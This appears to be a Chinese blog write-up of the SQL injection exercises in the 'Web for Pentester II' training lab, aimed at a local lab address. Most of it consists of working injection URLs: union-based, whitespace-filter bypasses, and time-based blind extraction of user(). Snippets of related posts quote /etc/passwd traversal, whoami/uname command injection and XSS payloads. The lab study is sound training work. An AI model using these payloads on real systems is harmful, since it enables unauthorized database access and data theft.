Example 1

字符类型的注入,无过滤

http://192.168.91.139/sqli/example1.php?name=root

http://192.168.91.139/sqli/example1.php?name=root' and 1=1%23

http://192.168.91.139/sqli/example1.php?name=root' and 1=2%23

http://192.168.91.139/sqli/example1.php?name=root' union select 1,2,3,4,5%23

Example 2

与example1差不多,过滤了空格,语句中存现空格就会报错

mysql注入绕过空格过滤的方法:

1、水平制表(HT) url编码:%09

2、注释绕过空格   /*注释*/

3、括号绕过空格的方法,在time based盲注中

index.php?id=(sleep(ascii(mid(user()from(2)for(1)))=109))

特点:1) 既没有用到逗号、大小于符号 2) 也没有使用空格 却可以完成数据的猜解工作!

http://192.168.91.139/sqli/example2.php?name=root'%09and%091=1%23

http://192.168.91.139/sqli/example2.php?name=root'%09and%091=2%23

http://192.168.91.139/sqli/example2.php?name=root'/**/union/**/select/**/1,2,3,4,5%23

Example 3

在example的基础上,\s匹配任何空白字符,包括空格、制表符、换页符等,全部过滤掉

可以使用example2中 /*注释*/ 绕过过滤

http://192.168.91.139/sqli/example3.php?name=root'/**/union/**/select/**/1,2,3,4,5%23

Example 4

数值型的注入,过滤了单引号等,对数值型无效

http://192.168.91.139/sqli/example4.php?id=3 union select 1,2,3,4,5

Example 5

与前面类似,以一个数字开头的,后面可添加构造的sql语句进行攻击测试

http://192.168.91.139/sqli/example5.php?id=2 and 1=1--

http://192.168.91.139/sqli/example5.php?id=2 and 1=2--

Example 6

正则表达式值确保了参数id是以一个数字结尾的.他不能确保id参数的开头是合法的.

你可以变通一下前面说到的检测方法.你只需要在你的payload后面加上数字.比如你可以这样:1 or 1=1 # 123.

http://192.168.91.139/sqli/example6.php?id=2 union select 1,2,3,4,5 %23 123

Example 7

解法一:

换行 \n的url编码是%0a

这边纠结了好久,最终使用了-- %23 才能注释掉后面语句

http://192.168.91.139/sqli/example7.php?id=2 and if(ascii(substring(user(),1,1))=112,sleep(1),0)--%23%0a123

解法二:

http://192.168.91.139/sqli/example7.php?id=' and 1=1 %0a1%0a' union select version(),2,3,4,5 %23

Example 8

order by `name`   报错注入出不来,用了时间盲注一个一个猜解

http://192.168.91.139/sqli/example8.php
?order=name` xor if(ascii(substring(user(),1,1))=111,sleep(5),0)%23

Example 9

与 example8类似,可以通过时间盲注进行逐一猜解

http://192.168.91.139/sqli/example9.php?order=1 xor if(ascii(substring(user(),1,1))=112,sleep(5),0)%23

参考链接:

Web for Pentester II  :https://pentesterlab.com/exercises/web_for_pentester/course

Web渗透测试攻略 [三]: http://www.2cto.com/Article/201401/275482.html

Web渗透测试攻略[四]:http://www.tuicool.com/articles/EFV3UzF

Web渗透测试攻略[五]:http://www.tuicool.com/articles/Iza63eM

【渗透测试学习平台】 web for pentester -2.SQL注入的更多相关文章

  1. Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过

    Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...

  2. 【渗透测试学习平台】 web for pentester -1.介绍与安装

    web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术. 官网:https://www.pentesterlab.com 下载地址: ...

  3. 【渗透测试学习平台】 web for pentester -7.文件包含

    Example 1 输入单引号,报错,得到物理路径 可通过../../../../etc/paaswd 读取敏感信息 可包含本地文件或远程文件 https://assets.pentesterlab. ...

  4. 【渗透测试学习平台】 web for pentester -4.XML

    example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...

  5. 【渗透测试学习平台】 web for pentester -3.XSS

    Example 1 http://192.168.91.139/xss/example1.php?name=hacker<script>alert('xss')</script> ...

  6. 【渗透测试学习平台】 web for pentester -8.XML

    example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...

  7. 【渗透测试学习平台】 web for pentester -6.命令执行

    命令执行漏洞 windows支持: |           ping 127.0.0.1|whoami           ||              ping  2 || whoami (哪条名 ...

  8. 【渗透测试学习平台】 web for pentester -5.代码执行

    Example 1 http://192.168.106.154/codeexec/example1.php?name=".system('uname -a');// Example 2 h ...

  9. 【渗透测试学习平台】 web for pentester -4.目录遍历

    Example 1 http://192.168.106.154/dirtrav/example1.php?file=../../../../../../../etc/passwd Example 2 ...

随机推荐

  1. bitset常用函数用法记录 (转载)

    有些程序要处理二进制位的有序集,每个位可能包含的是0(关)或1(开)的值.位是用来保存一组项或条件的yes/no信息(有时也称标志)的简洁方法.标准库提供了bitset类使得处理位集合更容易一些.要使 ...

  2. POJ 3237

    题目大意:指定一颗树上有3个操作:询问操作,询问a点和b点之间的路径上最长的那条边的长度:取反操作,将a点和b点之间的路径权值都取相反数:变化操作,把某条边的权值变成指定的值. #include &l ...

  3. MonoRail MVC应用(2)-构建多层结构的应用程序

    习惯了分层结构的.NET开发了,当然也是分层有优势,所以在使用MonoRail进行网站构建时,首先考虑到的问题就是MonoRail如何应对分层的结构.问题1:MonoRail在WEB层没有根目录,必须 ...

  4. JVM-class文件完全解析-魔数

    魔数(Magic Number) 魔数和Class文件的版本. 一个文件能否被Java虚拟机接受,不是通过文件的扩展名来进行识别的,而是通过魔数来进行识别.这主要是基于安全方面的考虑,因为文件的扩展名 ...

  5. Embedded binary is not signed with the same certificate as the parent app

    I face the same issue too,I solve it by this: First, I reCreate my team develop certificate(Because ...

  6. java.net.SocketException: recvfrom failed: ECONNRESET (Connection reset by peer)

    java.net.SocketException: recvfrom failed: ECONNRESET (Connection reset by peer)

  7. solaris下的常用命令

    屏幕显示: cat输出到屏幕: more 整屏显示,b显示上一屏,f显示下一屏: head显示文件的前n行: tail显示文件的后n行: man查看命令帮助: 目录操作: 创建目录: mkdir,   ...

  8. [zz]论程序员

    g9老大多年前的趣文: 论程序员 根据钱钟书先生的<论文人>胡改的.聊搏一笑,文责不负.程序员是可嘉奖的,因为他虚心,知道上进,并不拿身分,并不安本分.真的,程序员对于自己,有时比旁人对于 ...

  9. STL源码分析----神奇的 list 的 sort 算法实现

    STL中有一个std::sort算法,但它是不支持std::list的,因为list不提供RandomIterator的支持,但list自己提供了sort算法,把list的元素按从小到大的方式来排序, ...

  10. Alice and Bob(不断补充)

    我之前做过一些博弈的题目,以为博弈都是DP,结果被坑了很多次,其实博弈有很多种,在此,把我见过的类型都搬上来. 1,HDU3951(找规律) 题意:把n枚硬币围成一个圆,让Alice和Bob两个人分别 ...